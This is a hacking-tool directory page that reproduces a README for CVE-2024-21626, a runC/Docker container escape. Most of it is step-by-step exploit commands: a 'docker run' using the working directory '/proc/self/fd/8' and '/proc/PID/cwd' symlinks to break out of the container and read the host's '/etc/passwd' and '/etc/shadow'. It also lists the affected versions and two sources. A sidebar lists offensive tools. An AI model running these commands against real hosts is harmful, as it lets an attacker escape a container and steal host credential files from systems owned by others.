Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21626 — Working exploit for CVE-2024-21626, a runC/Docker container escape via working directory symlink attack, enabling host filesystem access. | Kitploit
Tools/GitHubGitHub/flojboj/cve-2024-21626
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationCloud SecurityContainer Escape
GitHubflojboj/cve-2024-21626

CVE-2024-21626

Working exploit for CVE-2024-21626, a runC/Docker container escape via working directory symlink attack, enabling host filesystem access.

View Repository
11362 years agoNot yet reviewed
Share

CVE-2024-21626

Exploit (Working Directory)

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

  • Important is to put -w /proc/self/fd/8\
  • Access the host filesystem using cat ../../../../../../../../../etc/passwd inside the container

Exploit (Symlink)

  1. docker run --name cve-2024-21626 --rm --it debian:bootworm
  2. Inside container - ln -sf /proc/self/fd/7/ /foo
  3. Inside container - ln -sf /proc/self/fd/8/ /bar
  4. docker exec -it -w /bar cve-2024-21626 sleep 120
  5. Inside container - ls -F /proc
  6. Inside container - cat /proc/9/cmdline (find PID of the sleep command)
  7. Inside container - cat /proc/9/cwd/../../../../../etc/shadow

Vulnerable versions

  • runC: >= 1.0.0-rc93 and <= 1.1.11.
  • containerd: >= 1.4.7 and <= 1.6.27, and >= 1.7.0 a <= 1.7.12.
  • Docker: fixed in 25.0.2

Source

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    654
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    490
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    395
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    252

Explore all tools

Browse our collection of tools

View all tools →